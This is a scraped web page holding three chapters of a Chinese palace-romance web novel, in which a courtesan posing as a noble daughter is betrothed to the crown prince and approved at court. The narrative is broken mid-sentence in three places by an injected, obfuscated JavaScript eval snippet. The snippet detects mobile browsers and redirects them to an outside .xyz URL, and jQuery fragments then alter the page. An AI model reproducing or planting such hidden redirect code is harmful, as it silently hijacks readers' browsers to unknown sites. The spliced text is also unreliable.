水流哗哗,在空气中震颤出低吟,原是太子在给她斟茶。 薛夫人教她的,都是些外在的姿态,以及一些见长者和尊者的套话,她从脑海中思索了个遍,也没找到能应对太子的话语。 不过,虽薛夫人没教,但她从前的那套体系里正有应对此番“诉苦”的妙招。 “局势未明,胜负难料,就像孤如今的处境,大业未成,前途未卜。”他抬眼看向对方,这般明说,她应当懂了吧。 她心神一颤,从前的客人也总有找她诉苦的,说什么母亲不疼,父亲不爱,官场失利,榜上无名…… 应对这些“诉苦”,她很熟练。 赵清曲指将茶杯推至她身前,对方的手竟颤颤巍巍覆了上来。 在触及太子骨节分明的手指时,尹采绿还有些紧张,不过很快就柔柔覆住了他的手背。 “殿下的难处,臣女明白。”她抬眸,眼尾适时泛起柔润水光,柔情又蜜意。 4. 请旨赐婚 “不得对太子无礼!”文文怒斥道。 尹采绿猛地缩回手,忙收敛神色,糟了,倒忘了场合了。 可太子一直朝她诉苦,她能怎么办呀。 她垂眸将头埋得很低,手背上的温度骤然褪去,赵清蜷起手指,蹙了眉。 不免又多打量了她几眼,此人现在端端正正的,在她身上却也瞧不出别的花儿来。 难不成,这就是她的回答? 赵清喉结滚了一下,端起茶杯抿了一口。 她这般回答,虽莽撞了些,却也直白。 “薛二小姐,若你无异议,孤便回宫向父皇请旨赐婚,在此之前你须得深思熟虑。” 尹采绿又不解了,这太子说的话,她为何总是不解?难不成就因为,他比自己多读几本书? 她虽没读过书,可琵琶弹得一绝,绿腰舞也跳得一绝,有位书生说她袖展犹惊满庭春,她虽也听不懂,但知道是在夸她。 可太子说的每个字她都能听懂,怎么连一起就听不懂了。 请旨赐婚是好事呀,有什么好深思熟虑的。 薛夫人若知道她今天得了太子这么句话,定会夸她的。 忍不住便喜形于色了。 长长的睫毛下竟是一颗琥珀色的眼珠,眼尾天然上挑,睫毛扑闪间的神态,倒是生怕旁人不知道她心里雀跃一般。 赵清一边观她,眉蹙得越来越深,她看样子,是真高兴。 太子才知,母后为她挑的太子妃,竟是当真仰慕他的。 不知不觉间,太子唇角也挂了笑。 既然如此,他便没有任何顾虑了,反正谁做太子妃都行,母后选了她,她也愿意,那就她了。 “那便说定了,小姐若有什么缺的,可使人往太子府要。” 尹采绿忍不住咬唇笑,唇角两颗梨涡,赵清觉得她的表情颇有些得意,真就这般仰慕他吗。 赵清便也笑了笑,起身道:“孤还有许多政事要处理,就先走了,小姐慢送。” 对于天性就率真的人来说,哪怕极力收敛,仍会在不经意间露了全部心绪。 比如她起身恭送太子时,就高兴得忘了行蹲礼恭送,而是直接拜了个大的。 她实在是没想到,事情这么容易办成。 原是刚刚坐下时,裙摆不小心给压在凳子底下了,起身时又喜又急,动作难免急躁了些,太子步子又迈得大,三两步走出去好远。 赵清回头时,小姐正五体投地。 尹采绿是经过玉笙楼训练的,就算是跌倒,那也是下意识控制身体,正好跌倒得很美很柔媚。 虽然说控制身体直接站稳更容易,但跌都跌了不是?女人干嘛要故作坚强呢。 两手半撑起身子,两腿交叠往后错开,恰似春柳折腰,鬓发略散,眼中彷徨带水光。 赵清愣了愣,一时间没注意她这跌倒的姿势,赶紧扶人起来才是要紧事。 内侍文文连忙上前:“小姐没事吧,可摔到哪儿了?” “摔到了,腿,腰,疼。” 与上次在老太太那儿被门槛绊了一跤是完全不同的嘴脸。 赵清叫文文将她扶起来,安放在凳子上,心里有些自责,自己单独与她至此处交谈,却叫她摔了一跤,是他没照看好她的缘故。 “孤叫太医过来为你诊治,你还有什么需要的?” 尹采绿垂下脑袋,摇摇头,其实她没事。 她又抬起头,抿出一个笑来:“现在不疼了,已经没事了。” 太子朝她礼貌地笑了笑:“那就好。” 刚至申时,薛家人送走了太子。 门前备了软轿,但太子仍是步行离去的,走得很快,脚步沉稳,却不重,凡他经过之人,总能感受到一阵风。 太子一走,一家人连忙围上来问尹采绿。 “如何?” 尹采绿轻轻点头:“太子说,回宫请陛下下旨赐婚。” 说这话时,她略埋着头,脸颊处又抿出两个梨涡来,垂视地面的眼睛亮得惊人。 薛夫人果然笑得极为开心,不光是她,老太太也在笑,侯爷也在笑。 薛明澜极轻的“嘁”了一声,没让老太太听见。 一家人的目的,罕见地达成了一致,又得以顺利进行了,围着眼前这位女子,薛家人都许久没有这样团结过了。 但谁也不知道她心里在想什么。 老太太当即宣布:“晚上把二房、三房的人也叫来,大家一起热闹热闹。” 崔婉清阻止道:“事情还没真的定下呢,婆母,闹出去让人笑话。” 老太太回过神来:“还是婉清想得周到。” “都是一家人,谁能闹出去让人笑话。”丈夫斥责的声音响起。 崔婉清愣了一瞬,分了家的,哪还能叫一家人。 一回到静竹苑,尹采绿往竹榻上一歪,七八个丫鬟围上来,拆她的首饰钗环。 一头乌云似的头发很快便松松散散垂在背后,尹采绿累了,单手撑着竹榻,头搁在手背上,说不出的慵懒迷人。 翠影本还想提点她两句,随时随地都要注意仪态,又觉得此幕画面实在赏心悦目。 一边欣赏着,一边又哀伤起来。 若眼前人是她们小姐就好了。 小姐也是这般花容月貌,行事虽冷淡了些,定也能取得太子喜爱。 这般想着,翠影语气严厉问出口:“让你背的诗,可都背完了?” 那七八个丫鬟都退出去了,屋内还剩下个替尹采绿整理拆下来的钗环首饰的竹萱。 尹采绿垂首绞着帕角,不敢直视翠影,半张着的唇几次开合,耳尖发红。 翠影见状,哪里还不懂。 “你若是再偷懒,我定向夫人告状,今日把太子糊弄过去是侥幸,若你还不把我们小姐的诗当回事儿,总有一天要露馅儿的。” 尹采绿垂着头绞着手帕子,委屈得跟个小媳妇似的,已经在犹豫要不要说实话了。 就在这时,外头有小丫鬟跑进来报:“太子叫了太医来,马上就到静竹苑,夫人吩咐,快给小姐梳妆。” 翠影站起身:“好端端的,太子叫太医来做什么?” 但容不得她疑惑,刚给尹采绿拆了头发,脱了外衫,就这么见太医可不成。 一屋子丫鬟很快有秩序地忙起来,给小姐穿衣的穿衣,梳妆的梳妆,给太医搬椅子的搬椅子。 没过多久,太医进门了,薛兴昌亲自陪着人过来的。 薛家人都疑惑,太子叫太医来做什么?今日还发生了什么他们不知道的事? 尹采绿当然不敢说自己摔了一跤这样的事,薛夫人只会责怪她仪态不端。 太医在屋里给小姐看诊的时候,薛兴昌与崔婉清就站在院外琢磨。 脸色一个比一个难看,是变化超出计划的不适感。 “看来太子比我想象中要重视她。” 崔婉清本以为,促成这门婚事要颇费些功夫。 寻常人家不愿遵从父母之命的公子哥儿都多了去了,何况先皇后已逝,太子不一定愿意听她安排。 薛兴昌沉吟道:“至少目前这对我们来说是好事。” 崔婉清摇头:“不,我只要她成为太子妃,我不要她获得任何宠爱。” 薛家光有太子妃这一个称呼就够了,一个受宠的太子妃是给家族助力不小,可她没忘了,那不是她亲女儿,翅膀硬了会不容易掌控。 太医没过多久便出来了,薛兴昌忙问:“小女没事吧。” “无事,就是摔了一跤,说手肘上有些破皮,擦点药就好了。” 手肘上有些破皮自然不是太医撩起袖子看的,是尹采绿自己说的。 她怕留疤,再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529044|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,有人关心自己,又何必隐瞒呢。 尹采绿十分享受这种被人关心,被人伺候的感觉。 她将来一定要好好服侍太子,现在也要好好做薛静蕴。 崔婉清进来的时候,脸色不大好看。 尹采绿有些害怕她,她现在的所有都是薛夫人给的。 “将你今日与太子的事情一五一十说来。” 其实也没什么事情,尹采绿唯独不敢说自己摸了太子的手这件事。 便把其他的都说了。 她小心观察薛夫人的脸色,或许薛夫人明白太子在诉什么苦。 崔婉清皱眉思考了半晌,对她道:“你表现得很好。” 尹采绿一怔,唇角又要勾起来,垂着头,手指默默别了下耳边的鬓发。 崔婉清道:“太子那么说,是在试探你,作为太子妃,自然是要与太子同甘共苦的,你做得很对。” 薛夫人夸完她便走了,还留话叫静竹苑的丫头们都好好伺候她。 尹采绿更高兴了。 夫人都夸她了,翠影还能说什么呢。 到了晚上,尹采绿将自己那把掉了漆的琵琶抱出来,翠影没有阻止。 月光蔓延下来,尹采绿抱着心爱的琵琶,猫儿似的溜到檐下。 一头被拆散的乌发乌泱泱垂在背后,琵琶斜拢在胸前,半截皓腕从衣袖中滑出。 “刺啦——” 一串轮指如珠落玉盘。 紧接着又转为缠绵的泛音。 她越弹越忘形,光脚踏在地面上轻点节拍,嘴角抿着笑。 翠影终于出来阻止她,冷声道:“二小姐不通音律,称此为供人取乐之技艺。” 竹萱倚在墙头发呆,倒觉得尹姑娘的琵琶真是天籁妙音。 尹采绿怔怔抬起头,翠影面色严厉。 她咬住唇,今日是得意忘形了,是呢,她现在是薛静蕴。 尹采绿抱着琴回房,将琵琶藏进箱笼里。 翠影心里想,若不是看她浑身上下就这么一样物件儿,夫人必不会叫她带着琵琶到薛府的。 尹采绿迷迷糊糊躺在床上,默声哼着小曲儿,翻了个身,将头拢在被子里,两只腿蜷着,一只脚搭在另一只脚上,一下一下打着节拍。 若有人钻进她被子里,就会听到那婉转似黄莺的歌声咿咿呀呀的在耳边响起。 睡在外间的翠影心情不好,竹萱拉着她的手:“是不是想小姐了?” 翠影声音闷闷的:“嗯,竹萱,属于小姐的东西,你真的能眼睁睁看着都变成她的吗?” “翠影,这是夫人的吩咐,并且大公子要在衙门里升一升,还需要个契机。” 说起大公子,翠影沉默了。 要不然,当初小姐病逝,她差点想跟着去了。 崔婉清这次给尹采绿请来的教习嬷嬷是正宗老资格,宫里退出来的,日程排得可紧呢。 这位杨嬷嬷前后已在江国公府、裴尚书府、勇毅将军府教养了好几位小姐。 尹采绿被梳洗好,站到院子里,见过嬷嬷。 杨嬷嬷见她如此相貌,还朝崔婉清夸道:“小姐好风采。” 崔婉清只笑笑:“嬷嬷只管严厉教,要打要骂都行。” 宫中礼仪与她们寻常交际还是不同,崔婉清想要尹采绿做好万全准备,万不可丢了侯府与崔氏的脸面。 尹采绿落在杨嬷嬷手上后,虽她于姿态动作一事上天资聪颖,可每日还是被折腾得浑身酸痛。 杨嬷嬷知道薛小姐素有才名,一手章草写得极好,这在陇州是出了名的。 自不会腆着老脸又去教她那些。 只问:“小姐于香道、茶道上可有钻研?” 尹采绿于香道、茶道一事上钻研颇深。 炉煎雀舌,弦弹莺语…… 扇扑兰烟,笑倚朱栏…… 5. 圣旨 可她眼珠子一转,便知这些事情不能说。 “回嬷嬷,不曾有过。” 杨嬷嬷满意一笑,接下来几日,便教她香道、茶道。 一连学了半月,尹采绿一张小脸儿越发瘦削了。 好在,半月的时间,圣旨下下来了。 崔婉清预料得没错,有先皇后口谕的婚事,只要太子同意了,便再无阻碍。 皇上没道理硬要反对自己的先皇后。 只是在此之前,宫中已派出一小队前往陇州,将薛静蕴十年来所有言行举止、书画墨宝,整理成册递往宫中,由礼部查验。 只崔老爷子一句:“静蕴乃我崔氏名门之女,父族勋贵,母族清望,才德非寻常闺阁所能养出。” 皇帝点了头,贵妃却道:“还是该召此女进宫核查一番。” 太子妃所涉干系重大,皇帝应允。 尹采绿不知事情轻重,崔婉清却很慌张,贵妃不是太子生母,也不知此番进宫会不会出什么差错。 一大早,尹采绿乘着宫里派来的马车进了宫。 走前崔婉清问她:“可有什么暗疾没说出来的?” 太子妃须得身体康健,才好为皇家开枝散叶。 尹采绿摇头,比起暗疾,她更怕有人叫她写字。 可偏就因为薛静蕴才名在外,才越是没有人专门叫她写字。 除此之外,应是没有破绽在身上了。 马车一路到了宫门,内侍叫她下车换上软轿。 再走一程,走到前面那道门,就要下来用走的了。 下轿的时候,尹采绿在红墙边上见到一人。 太子正负手立于墙下,穿着玄色织金的蟒袍,广袖坠地如流云。 尹采绿稳了稳心神,迈步朝他走去。 “给殿下请安。” 赵清垂眸看她,她两手交叠于腹前,低眉敛目,模样甚是恭谨。 “免礼,跟孤来。” 赵清在前面走,步幅击出唰唰声响,尹采绿落后半步跟上。 两人沉默走了许久,赵清忽地开口道:“你不用害怕,待会儿只需正常拜见孤父皇与张贵妃。” 尹采绿点头,可她从未进过皇宫,见过皇帝。 一路走,免不得要一路打量,汉白玉的栏杆,青石板的路,飞檐上排列的瑞兽……日光有些晃眼,尹采绿又连忙垂了头。 太子又道:“一会儿会有太医前来为你看脉,也不必害怕。” 尹采绿点头,太子见她不出声,便回头看她。 此女不爱说话。 也好,娴静端庄的性子,不轻浮,正适为皇家妇。 尹采绿见他看她,又不知他为何看她。 索性抿起唇来朝他笑。 太子忙垂下眼,转过身,继续往前走。 “嬷嬷可都教过你宫中规矩了?” 尹采绿刚要点头,终于想起来自己点头他看不见,他走在前面。 便道:“教过。” 这才想起,自己刚刚见太子时,礼行得不全。 她连忙快走了两步,拉了拉他的衣袖。 赵清感觉有人拽他,纳闷这宫里怎会有人这般失礼。 回头却见她,双脚并拢,双手交叠放在身前,右手在上,左手在下,然后缓缓下蹲…… “太子殿下万安。” 赵清愣住,颇有些错愕地看她,这礼比刚刚见面时那礼行得要大些。 又见眼前人抬起头,眨了眨眼,问他:“这样可对?” 赵清唇角挂了笑,端于腹前的手垂下:“很对。” 盛宇帝刚刚午睡醒来,由内侍提醒道:“皇上今日召了薛家女进宫,算时辰快到了。” “到了宣她进殿候着便是,贵妃呢?” “回皇上,娘娘午睡还没醒呢。” “等她醒了再叫她过来见薛家女。” 尹采绿被太子送至殿门,太子便不再送了。 “父皇未召孤,孤就在殿外等你。” 尹采绿虽害怕,却很快被这金碧辉煌的乾清宫吸引了目光。 内侍前来引她:“薛二小姐,皇上让您到偏殿先坐坐。” 尹采绿点头,想起薛夫人教她的,从荷包里拿出几颗金瓜子来:“劳烦公公。” 内侍接了金瓜子:“小姐厚赐,您当心脚下,待会儿若有小太监过来上茶,您也别多喝。” 尹采绿在一方椅子上坐下后,不久果然有小太监端了茶上来。 她刚刚走了好长一截路,谷雨过后,天气一日比一日热,现在有些口渴。 若不是刚刚内侍那句吩咐,她真要端起茶杯牛饮了。 但她只是端起来嗅了嗅,揣度着,这是陈茶。 往年江南采下来的那些茶,总要在朱门绣户里转上一圈儿,大家都尝个遍以后,剩下的那些,才作为贡品送到盛京。 这茶难喝,她不喝便不喝。 接下来又难掩好奇地打量着殿中一切精雕细镂,不知等了多久,丝毫不知这是贵妃给她的下马威。 半个时辰以后,张贵妃顶着华盖到来,午后日晒,她虚虚掩着额头,瞧了眼殿外站着的太子。 “太子,皇上就在里头呢,怎的不进去?” 赵清答:“父皇未召孤。” “瞧你,本宫进去帮殿下通传一声便是。” 赵清却未应,只道:“娘娘,薛家小姐来了,已经等候多时。” 他有些自责,因为自己的原因,倒连累她了。 若母后还在就好了,定不会叫她吃这样的苦楚。 张贵妃没再理会太子,独自进了殿,先倚在了皇上身边儿。 盛宇帝佯装发怒:“你这像什么样子,给朕站直了!” 张贵妃又立马站直身子,嘟着嘴:“臣妾给皇上研墨还不行。” “研墨可以,歪着身子研墨不行,你把这里当成什么地方了。”盛宇帝朝四周看了看,周身太监都还垂着目。 张贵妃点点头:“是是是。臣妾刚刚在殿外遇到太子了,本想带他进来给皇上请安的,他却不,还叫咱们快些见过薛小姐,好把人放出去呢。” 盛宇帝脸色沉下来:“太子妃还没定下来,他说的是什么胡话,他不进来见朕就算了,以后也别想进来。” 张贵妃刚刚站直的身子又弯下去,伏在皇上胸口:“皇上您消消气,消消气。” “朕还有折子未批,便先批过折子,再宣那女子觐见。” 张贵妃抿唇笑着:“自然是国事重要,皇上真乃圣君。” 其实薛家女为太子妃,甚合贵妃心意。 薛侯府早在两代之前,就开始没落了,勋贵人家凡能长久繁盛下去的,皆是子弟争气,在科举上走得好的。 薛家如今只是借着祖上根基做些小官,晚辈里没有出色的。 当初侯府落成时也是满城艳羡的勋贵高门呢。 可那女子是皇后选的,贵妃讨厌皇后,皇后会喜欢的女子,自然也讨厌。 也不知皇后给他儿子选了个什么样的女子,是否也如她本人那般,为人古板又无趣,可让男人尊重,却不让男人喜欢,在这后宫里光有人尊重又有什么用呢,日子难熬啊,怪不得早早地就去了。 赵清在殿外等至申时末,文文过来找他:“实在是有要事,太傅在府中等您呢。” 太傅的事情,自是要事,赵清不敢耽搁。 他回头看了眼偏殿的方向,终是拔步离开。 今日之事,无非是她为太子妃,成与不成的差别,她是母后看中的女子,应当应付得来。 坐着坐着,尹采绿实在是等得累了,还须得时刻保持仪态。 她见左右无人,索性塌下腰,稍稍松懈了片刻。 这腰后放着的软垫子,倒也真是舒服。 人一松懈啊,无论是身体,还是脑子,都一并松懈了,她整个人变得迷迷瞪瞪的。 直到进来一位提着箱子的太医。 “臣奉皇上贵妃之命,来为薛小姐看脉。” 尹采绿勉强坐直了身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529045|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,将手伸了出去。 太医按脉查色一番,重点查验有无暗疾、瘢痣、残疾,又记录身形丰瘠、肤发色泽,小姐臻首娥眉、骨肉匀称、肤白发密,符合容止标准。 过了大概一炷香的时间,太医收回手,恭敬对她道:“小姐身体一切都好,随臣来面见皇上贵妃。” 若是她身子不大好,便没有见皇上贵妃的必要了。 尹采绿强打起精神站起来,走出门被太阳一晒,脑袋眩晕得差点站不住。 她跟在太医身后,晃了晃脑袋,将姿态尚且维持得住。 皇上与贵妃抬眸看去,踏入殿内的女子站如青竹,眉眼低垂,步伐不疾不徐,声如温玉。 “给皇上请安,给贵妃娘娘请安。” 随后三跪九叩,姿态做得那叫一个足。 盛宇帝有着一双深不见底的瞳孔,唇常年抿得冷硬,不怒自威。 这女子朝他行的礼,叫他神情缓和了些。 他想起了一个人,那人也是这般,明明已是多年夫妻了,生前总是把礼数做得一板一眼,他见着皇后日日在他面前叩拜,到后来,已是厌恶多过喜爱。 斯人已逝,他无心厌恶,只剩怀念。 “你就是韶容口中的女子。” 俯身叩拜之时,脊背如山峦,背上一串珠玉平直,有她身上的影子。 尹采绿不知韶容是谁,敛眉不作答。 贵妃道:“是个好孩子,难怪姐姐喜欢。来人,将本宫备好的礼拿来。” 盛宇帝看了贵妃一眼,贵妃很好。 贵妃身边的侍女递来一只锦盒,打开锦盒,里面是一串红玛瑙串成的珠子,有异香。 是件极珍贵之物。 “好孩子,你过来,不必害怕,皇上与本宫叫你来,本也只是想见你一面,不是当真要审查你什么。姐姐走的早,可怜太子,唉,不说那些了,你与太子成婚没有当母后的做主,有任何事情来找本宫,也是一样的。” 尹采绿觉得贵妃甚是面善,与薛家二伯母一样热情。 “多谢贵妃娘娘,臣女与太子殿下成婚之事,贵妃可完全代替皇后娘娘吗?” 尹采绿脑子现在转得很慢,从贵妃那一长段话里,只能提取到一句信息。 贵妃变了脸色,皇帝唇角下压,威严道:“皇后是皇后,贵妃是贵妃,贵妃代替不了皇后。” 尹采绿垂头,表示知道了。 盛宇帝现在觉得这女子不太聪明,贵妃怎能代替皇后,他还没打算将贵妃的位份再往上抬,此话一出,今后也不想再抬。 皇后是他那古板无趣的妻子,而贵妃只是宠妃。 贵妃又忙让嬷嬷把玛瑙手串送过去:“孩子小说错话,皇上别生气。” 尹采绿接过手串,没觉得自己哪里说错了话,那不都是贵妃的意思嘛。 之后,皇帝无心为难此女,贵妃更对此女无异议,寒暄几句后,见她于礼仪言行上皆表现得无差错,便叫她离开。 孟夏望日,薛府中门启扉。 薛兴昌率全家三房众人立东阶,妻女立西阶,皆着朝服。 男用乌纱帽、团领衫、革带; 女用翟冠、霞帔、大袖衫。 宣旨太监着紫花罗袍,捧圣旨由中门入,后随捧册官捧太子妃金册两叶、捧宝官捧太子妃龟钮金印。 薛兴昌率全族跪接,动作徐如流水。唯薛静蕴行肃拜,双膝齐屈,手至地而头不下低。 “岁次甲子,仲夏吉旦。 皇帝制曰:朕惟乾坤定位,阴阳合德;家国同构,伉俪协恭,乃宗庙社稷之重本。皇太子承祧宗祧,储位既正…… 薛侯之女静蕴,幼承庭训,夙娴礼度。观其容止,察其言行,四德咸备。 今特授以册宝,立为皇太子妃。尔其恪遵妇道,佐太子以仁孝,辅储闱而贤明。协和九族,表率六宫,庶几上承宗庙之灵,下副臣民之望。钦哉! 赐金册、宝印,敕礼部择吉行册立大典。 故兹诏示,咸使闻知。” 6. 待嫁 “皇上,太子妃已册立,可算了结了您心中一桩大事,您可安心休息一阵子。” 鸳鸯帐内,皇帝躺在贵妃盘着的腿弯里,贵妃指腹轻轻按着皇帝的穴位。 贵妃生得肥润,软玉温香,柔荑轻抚。 一生为圣明之君的盛宇帝,忘了自己究竟为太子的婚事操了多少心。 当真以为自己如贵妃所说,为长子操碎了心。 “贵妃体恤朕。”儿子却还年幼,轻狂得很。 贵妃柔柔一笑,皇帝又问:“贵妃用的什么香,好香啊。” 说着,他翻身起来,将贵妃压在臂弯里,牢牢禁锢住,贵妃假作挣扎嗔怒,他将唇含了上去。 他弄着贵妃的腰身,贵妃唇边溢出轻哼,摁住他的头,他头埋进一片“衾暖褥柔”,失了神魂,贵妃道:“皇上,按祖制,太子侧妃也不可马虎,不如就让臣妾来替皇上挑,皇上也好,啊~多歇息歇息。” 太子府内连日议事,府上众门客、幕僚各有看法。 太子詹事掌东宫三寺十率府之政令,忆起往昔,皇后娘娘音容仍在眼前。 徐詹事叹道:“也算不负娘娘所愿。” 太傅道:“娘娘已逝多年,当今要事,应是以扶太子上位为重。” 想起太子独自向皇帝请旨封了太子妃一事,太傅心中颇为生气。 太子府诸事,皆要众人商议后再决定。 “孤只要无错,他们便轻易废不了孤,太傅不必太过忧心。” 赵清坐至主位,众人围坐在一硕大冰鉴旁,中间镇着切好的瓜果。 “大家先消消暑吧,要至端午了。” 说着,太子率先吃了一口西瓜。 不一会儿,唐洪辉来了,他与太子府这一众文人处不到一块儿去,但他是先皇后的亲哥哥,太子的亲舅舅。 “太子要娶妻了,今日诸位都是来恭贺太子的吗?” “哼。”太傅胡子飘起来了一下。 唐洪辉瞅了太傅几眼:“我妹妹挑的女子,能差到哪儿去,太傅这是何意?” “崔家是好,但薛家不行,要臣说现在薛家众子侄已经排着队等太子安排职务了,你信不信?”太傅斜眼看将军。 太子默默往太傅跟前递了杯晾好的清茶。 唐洪辉没生气,反过来笑着问太子:“太子不是说无心娶妻,怎的圣旨下得这么快?” 赵清答:“她甚好,可带去拜见母后。” 对赵清而言,太子妃再不好,终有这一层意义在,何况她挺好。 无论如何,太子妃已定,太傅并无长久气恼之意,表达了几句不满以后,众人还是回归到对大业的讨论之中。 当日申时,从太子府送出一方端砚、一支湖笔、一块徽墨,连同一封信至薛侯府。 这些东西在到尹采绿手上之前,先是在薛兴昌、崔婉清那儿过了一圈。 待他们查看过书信,留下了东西,才把信又递往了静竹苑。 原是太子说,上回将她留在宫中不告而别之事,来道歉的。 另附了三样礼物,知她于笔墨一事上喜爱。 崔婉清亲自到静竹苑把信给她,不忘耳提面命一番。 “太子重视你,皆是因为我崔家和薛家的缘故,你须知。” 尹采绿手里捏着信,那叫一个忐忑,到底写什么了呀。 她点头:“我知道的,母亲。” “礼部定的婚期在四月初十,就在端午过后不久,大约到婚期前半月,宫里会派嬷嬷来教你规矩。” 崔婉清恍惚间,以为自己在嘱咐自己的女儿,眼中多了几分柔情。 尹采绿只点头。 崔婉清回过神来,面目严厉了些:“你记住,做太子妃,不必取得太子宠爱。” 尹采绿愣着,不懂为何。 “你身为太子妃,肩负着家族的重担,万不可丢了家族的脸面,务必时时恪守仪度,丝毫不容有失。” 尹采绿心里想着,装薛静蕴真是个大活儿,要时时维持这样的姿态,她会很累很累的。 但是,谁说她不会偷懒呢。 等到了太子府,大约就没人管着她了。 面上仍“嗯嗯”应付着:“是,母亲。” 晚上,尹采绿缩在被子里,偷偷打开那封信查看起来。 借着床头微弱的烛光,她一个字一个字数着读。 可还是摸不着头脑。 她觉得自己当务之急该先认字。 可是叫谁教自己呢?若是说出来,定会引人怀疑的。 她听说,学认字要到私塾里去,如今在薛府出行皆由人跟着,她不好去私塾。 等嫁去了太子府……或许能找到机会。 可眼前这信上,太子究竟说了什么? 过了几日,宫里的教习嬷嬷来了。 一应的宫廷礼节、日常礼仪倒是不用教了。 头几日,嬷嬷主要讲了宫内各项制度,皇室各成员的关系,宫廷内各位贵人分别忌讳的话题、行为。 “务必牢记,忌在宫中议论是非。” 贵妃本来安排的是方嬷嬷过来,但太子往宫中请示,要从前在母后身边侍奉过的汤嬷嬷过来,来的便是汤嬷嬷。 “宫门是卯时开,酉时闭,东宫位于皇宫东侧,另外,宫外也建有太子府邸,太子妃婚后可随太子任意居住,不过太子妃可主持太子府大小事务,却不能主持东宫事务。” “太子妃上次到的乾清宫是皇上寝宫和处理日常政务的地方,皇上在此居住、召见大臣、批阅奏章,寻常不得擅入。” “太和殿乃皇帝朝会文武百官、举行重大典礼仪式的宫殿,太子妃到时候与太子大婚,便在此殿,寻常不得擅入。” “另有中和殿、保和殿……” 尹采绿听得头昏昏的,但还是努力记住。 汤嬷嬷说了一大堆冗长的宫内制度以后,先是叹了声气,才缓缓说起来。 “太子为先皇后所出,先皇后五年前因病崩逝。” “先皇后所出还有二公主,二公主幼年便夭折。” “然后是张贵妃所出三皇子,已经娶了三皇子妃,比太子小三岁。” “张贵妃膝下还有位五公主,今年五岁。” “四皇子是宫中郦嫔所出,今年七岁,不过与郦嫔一样,都不受宠,寻常不会怎么见到。” “皇上只有五公主一位公主,难免要宠着贵妃些,不过太子妃今后不必太忌惮贵妃,先皇后与太子的地位,不是光凭皇上喜好便能动摇的。” 汤嬷嬷难得说了些不该说的真心话出来。 尹采绿听着,倒觉得,与先皇后比起来,贵妃命真好。 她想起在长长宫道上见到的太子,身形看起来难免萧索,但太子面容生得温和,脸皮看上去很软和,唇角要么不挂笑,要么挂着极浅极温柔的笑。 说到最后,汤嬷嬷才开始向她讲述,平日里该如何侍奉太子。 尹采绿倒是不担心这个。 汤嬷嬷说了一些饮食起居上的照料方式,最后才说到床笫之事。 见她垂着头,汤嬷嬷知道她是害羞,便说得比较委婉。 “要遵循作息规定,在特定的时间做好准备,以温柔、体贴的态度迎接太子。 记住要以太子的意愿为主,保证太子身心上的愉悦和放松,无论何时都要保持一定的礼仪和分寸,不可有失体统。” 尹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529046|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采绿点头,她明白了,她一定叫他身心愉悦且放松,悠悠闲闲的,一点不叫他动都可以的,都让她来吧,她练过腰的。 汤嬷嬷见她乖巧,便知她有分寸,定不会在那事上冲撞了太子。 “待明日进宫赴过端午宫宴,太子妃与太子便婚期将近,老奴也没什么可教太子妃的了。” 尹采绿颇有些不舍地送走汤嬷嬷,汤嬷嬷人很好,待她很亲切,比薛家任何一个人待她都要亲切。 端午宫宴前一日,薛家送走了舅老爷。 崔景生走之前,看着崔婉清欲言又止了好几次。 目光又在尹采绿脸上扫过几遍,最后狠叹了声气,就这么由着妹妹胡闹,回去后还得瞒着崔家老爷子这事儿。 崔婉清小声嘱咐哥哥:“路过的时候,别忘了替我上柱香,你把这个带着。” 她往哥哥怀里塞了个包袱,崔景生上了马车,打开包袱一看,是些崔婉清亲手叠的纸钱和香烛。 崔景生透过车窗看到逐渐远去的薛家人,除了叹气还是叹气。 端午宫宴办在中午,上午首先是冗长的祭祀典礼,只有官员到场。 尹采绿中午过来见到太子时,他浑身裹着厚厚的直裾深衣,明明在太阳下站了一上午,额上却不见一滴汗。 太子端身朝她点头,二人不在一处席,隔得稍远。 尹采绿今日见到了三皇子,四皇子和五公主。 太子始终站在殿前侧方,全程无一处失仪,面上也无表情。 倒是三皇子在殿上笑得爽朗,席间喝到什么酒吃到什么菜,都不免高声对高堂上那位说道:“父皇,今日这酒美得很。” 贵妃嗔他一眼,道:“是今春的桃花酿的,今年花开得美,酒也美,皇上,咱们盛朝今年定是国泰民安、风调雨顺。” 母子俩一唱一和的,将本是威颜肃目的盛宇帝,都哄得喜笑颜开了。 “近日宫里喜事多,朕心里高兴,来人,赏。” 内侍过来小声问道:“皇上要赏谁?” 贵妃挺了挺胸脯,皇上目光从太子身上扫视而过,道:“赏太子妃。” 端午过后,尹采绿在府中安心待嫁。 宫里尚衣局的奉御官亲自来了薛府好几回,替薛小姐做了一套最合身的嫁衣。 